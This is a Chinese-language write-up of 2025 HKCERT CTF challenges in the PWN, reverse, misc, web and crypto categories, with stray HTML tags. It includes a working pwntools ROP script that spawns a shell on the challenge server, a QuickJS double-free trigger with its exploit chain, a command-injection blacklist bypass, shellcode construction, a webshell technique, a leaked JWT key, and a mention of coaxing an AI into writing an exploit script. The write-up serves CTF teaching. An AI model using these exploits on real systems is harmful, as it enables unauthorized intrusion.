2025 HKCERT CTF 题目解析与漏洞利用技术教学<\/h1>

PWN 类别题目分析<\/h2>

Piano 题目分析<\/h3>

漏洞原理<\/h4>

Patch分析<\/strong>：题目对quickjs.c中的弹栈操作进行了修改<\/li>

关键修改点：

移除了JS_SetPropertyInternal<\/code>调用后的sp--<\/code>操作<\/li>
将弹栈操作统一移到函数末尾<\/li>
异常处理流程会释放所有栈内变量<\/li> <\/ul> <\/li> <\/ol> 漏洞触发条件<\/h4> \/\/ 创建触发异常的条件 <\/span><\/span><\/span><\/span>try<\/span> { <\/span><\/span> Object.defineProperty<\/span>(globalThis<\/span>, 'vuln_var'<\/span>, { <\/span><\/span> set<\/span>:<\/span> function<\/span>(val<\/span>) { <\/span><\/span> throw<\/span> new<\/span> Error("Assignment failed!"<\/span>); <\/span><\/span> }, <\/span><\/span> configurable<\/span>:<\/span> true<\/span> <\/span><\/span> }); <\/span><\/span>} catch<\/span>(e<\/span>) {} <\/span><\/span> <\/span><\/span>try<\/span> { <\/span><\/span> vuln_var<\/span> =<\/span> target_obj<\/span>; <\/span><\/span>} catch<\/span>(e<\/span>) { <\/span><\/span> log<\/span>("Assignment failed as expected: "<\/span> +<\/span> e<\/span>.message<\/span>); <\/span><\/span>} <\/span><\/span><\/code><\/pre>利用技术细节<\/h4> UAF漏洞形成<\/strong>：<\/p> JS_SetPropertyInternal<\/code>释放val的同时返回异常<\/li> 异常处理流程会再次释放val，造成double free<\/li> <\/ul> <\/li> 现代版本防护绕过<\/strong>：<\/p> ArrayBuffer和TypedBuffer添加双向链表保护<\/li> 释放时会将DataView等结构体的指针清0<\/li> 通过构造内存重叠绕过保护<\/li> <\/ul> <\/li> <\/ol> 内存布局攻击<\/h4> \/\/ 内存重叠构造 <\/span><\/span><\/span><\/span>DataView<\/span> -><\/span> ArrayBuffer<\/span>（<\/span>ref<\/span>=<\/span>2<\/span>）<\/span> <\/span><\/span>vuln<\/span> deref<\/span> (ref<\/span>=<\/span>1<\/span>) <\/span><\/span>DataView<\/span> =<\/span> null<\/span> (ref<\/span>=<\/span>0<\/span>) <\/span><\/span>trigger<\/span> ArrayBuffer<\/span> free<\/span> <\/span><\/span>old<\/span> ArrayBuffer<\/span> -><\/span> Free<\/span> Chunk<\/span> <\/span><\/span>new<\/span> ArrayBuffer<\/span> =<\/span> old<\/span> ArrayBuffer<\/span> <\/span><\/span><\/code><\/pre>任意地址读写实现<\/h4> ArrayBuffer结构体劫持<\/strong>：<\/p> 控制data指针指向目标地址<\/li> 通过堆风水技术实现精准定位<\/li> <\/ul> <\/li> JSString越界读取<\/strong>：<\/p> 修改len字段实现越界读取<\/li> 泄露堆上的关键指针信息<\/li> <\/ul> <\/li> <\/ol> 完整利用链<\/h4> 泄露堆地址<\/li> 劫持JSRuntime结构体<\/li> 修改malloc函数指针为system<\/li> 执行命令获取shell<\/li> <\/ol> strange_rop<\/h3> 漏洞分析<\/h4> 游戏函数存在负索引越界漏洞<\/li> 可以通过控制id为负数修改栈上数据<\/li> <\/ul> 利用方法<\/h4> from<\/span> pwn import<\/span> *<\/span> <\/span><\/span> <\/span><\/span>bin_sh =<\/span> 0x404078<\/span> <\/span><\/span>rdi_ret =<\/span> 0x00000000004012f1<\/span> <\/span><\/span>ret =<\/span> rdi_ret +<\/span> 1<\/span> <\/span><\/span>system =<\/span> 0x4010F0<\/span> <\/span><\/span> <\/span><\/span>p =<\/span> remote("pwn-d37cce106e.challenge.xctf.org.cn"<\/span>, 9999<\/span>, ssl=<\/span>True<\/span>) <\/span><\/span> <\/span><\/span># 布置ROP链<\/span> <\/span><\/span>p.<\/span>sendlineafter(':'<\/span>, '-2'<\/span>) <\/span><\/span>p.<\/span>sendlineafter(':'<\/span>, str(rdi_ret)) <\/span><\/span>p.<\/span>sendlineafter(':'<\/span>, '-1'<\/span>) <\/span><\/span>p.<\/span>sendlineafter(':'<\/span>, str(bin_sh)) <\/span><\/span>p.<\/span>sendlineafter(':'<\/span>, '0'<\/span>) <\/span><\/span>p.<\/span>sendlineafter(':'<\/span>, str(system)) <\/span><\/span>p.<\/span>sendlineafter(':'<\/span>, '-3'<\/span>) <\/span><\/span>p.<\/span>sendlineafter(':'<\/span>, str(ret)) <\/span><\/span> <\/span><\/span>p.<\/span>interactive() <\/span><\/span><\/code><\/pre>filesystem 和 filesystem-revenge<\/h3> 命令注入漏洞<\/h4> 黑名单过滤不完整，缺失通配符和命令替换检测<\/li> 利用fla*<\/code>绕过strstr检测和黑名单<\/li> 最终执行tac fla*<\/code>读取flag<\/li> <\/ul> childcode<\/h3> 利用技术<\/h4> 汇编指令长度限制为5的倍数<\/li> 使用合法汇编指令构造shellcode： shmget(0,0xa00,0x3ff)<\/code>获取共享内存<\/li> shmat(rax,0x50000,0x8000)<\/code>附加内存段<\/li> 调用readv写入shellcode<\/li> 执行orw操作读取flag<\/li> <\/ul> <\/li> <\/ul> REVERSE 类别题目<\/h2> findkey<\/h3> AES-128白盒分析<\/h4> 加密流程<\/strong>：<\/p> 固定明文："278-362-75136019"<\/li> 用户输入作为密钥（不足16字节补0）<\/li> 标准AES-128加密算法<\/li> <\/ul> <\/li> 密钥恢复<\/strong>：<\/p> 利用辅助表unk_40A120<\/code>逐字节还原轮密钥<\/li> 反推AES Key Schedule得到原始密钥<\/li> <\/ul> <\/li> <\/ol> easyjar<\/h3> SM4加密分析<\/h4> 使用jadx反编译APK<\/li> 识别SM4加密算法特征<\/li> 逆向加密流程恢复flag<\/li> <\/ul> box<\/h3> 复杂加密流程<\/h4> 主要校验函数<\/strong>：sub_140009ED0<\/code><\/p> <\/li> 加密步骤<\/strong>：<\/p> B10函数处理<\/li> RC4加密（自定义key生成）<\/li> E70函数最终处理<\/li> <\/ul> <\/li> 逆向方法<\/strong>：<\/p> 调用原生函数获取RC4 key<\/li> 逆向各层加密算法<\/li> <\/ul> <\/li> <\/ol> MISC 类别题目<\/h2> easyjail<\/h3> Python沙箱逃逸<\/h4> 简单的pyjail环境<\/li> 利用Python特性绕过限制<\/li> <\/ul> Easy_Base<\/h3> 自定义Base64解码<\/h4> 字符串4个一组进行解码<\/li> 奇数组需要先反转再解码<\/li> 拼接所有解码结果得到flag<\/li> <\/ul> Chimedal's goddess<\/h3> CCIR 476编码分析<\/h4> 编码特征<\/strong>：<\/p> 7-bit字符编码<\/li> 每个字符4个'1'位，3个'0'位<\/li> 分为Letters和Figures两种模式<\/li> <\/ul> <\/li> 解码方法<\/strong>：<\/p> 识别编码模式切换控制字符<\/li> 逐字符解码恢复原始信息<\/li> <\/ul> <\/li> <\/ol> WEB 类别题目<\/h2> insph<\/h3> 反序列化漏洞利用<\/h4> filechain利用<\/strong>：结合file_put_contents<\/code>特性<\/li> 修改resource参数实现文件写入<\/li> 构造Webshell获取权限<\/li> <\/ul> <\/li> <\/ol> easy-lua<\/h3> Lua沙箱逃逸<\/h4> 发现可疑函数S3cr3t0sEx3cFunc<\/code><\/li> 利用该函数执行系统命令<\/li> 读取flag文件<\/li> <\/ul> nettool<\/h3> JWT伪造和SSRF组合利用<\/h4> 密钥泄露<\/strong>：<\/p> 利用安全逻辑漏洞泄露JWT key<\/li> key为：RDbiBrgdR#CrdZVW<\/code><\/li> <\/ul> <\/li> SSRF探测<\/strong>：<\/p> 发现5000和9000端口服务<\/li> 9000端口运行mcp-server服务<\/li> 通过AI调教获取利用脚本<\/li> <\/ul> <\/li> <\/ol> CRYPTO 类别题目<\/h2> Try E<\/h3> 简单密码分析<\/h4> 基础的密码学挑战<\/li> 分析加密算法特征<\/li> <\/ul> Bivariate Copper<\/h3> 素数分解攻击<\/h4> q为25bit素数，可暴力分解n<\/li> 使用cuso工具快速分解<\/li> 恢复私钥解密数据<\/li> <\/ul> ComCompleXX<\/h3> 连分数攻击<\/h4> 利用连分数$\frac{e}{n}$<\/code>求d<\/li> 基于数论的高效攻击方法<\/li> <\/ul> Triple Key Cipher<\/h3> LWE格攻击<\/h4> 加密本质<\/strong>：线性变换加小噪声<\/li> 攻击步骤<\/strong>：使用Z3求解器恢复状态<\/li> 构造格进行规约攻击<\/li> 使用BKZ算法求解SVP问题<\/li> <\/ul> <\/li> <\/ol> 高级利用技术总结<\/h2> 堆利用技术<\/h3> 堆风水<\/strong>：精确控制内存布局<\/li> 类型混淆<\/strong>：利用JavaScript类型系统特性<\/li> UAF利用<\/strong>：通过double free实现内存控制<\/li> <\/ol> 密码学攻击<\/h3> 侧信道分析<\/strong>：利用时间、错误等信息<\/li> 数学攻击<\/strong>：基于数论的高效解密方法<\/li> 白盒密码分析<\/strong>：逆向加密算法实现<\/li> <\/ol> Web安全技术<\/h3> 反序列化漏洞<\/strong>：利用对象注入执行代码<\/li> 模板注入<\/strong>：SSTI和代码执行漏洞<\/li> 认证绕过<\/strong>：JWT伪造和会话控制<\/li> <\/ol> 本教学文档详细分析了2025 HKCERT CTF中各题目的技术要点和解决方案，涵盖了PWN、REVERSE、MISC、WEB、CRYPTO等多个领域的高级漏洞利用技术。<\/p>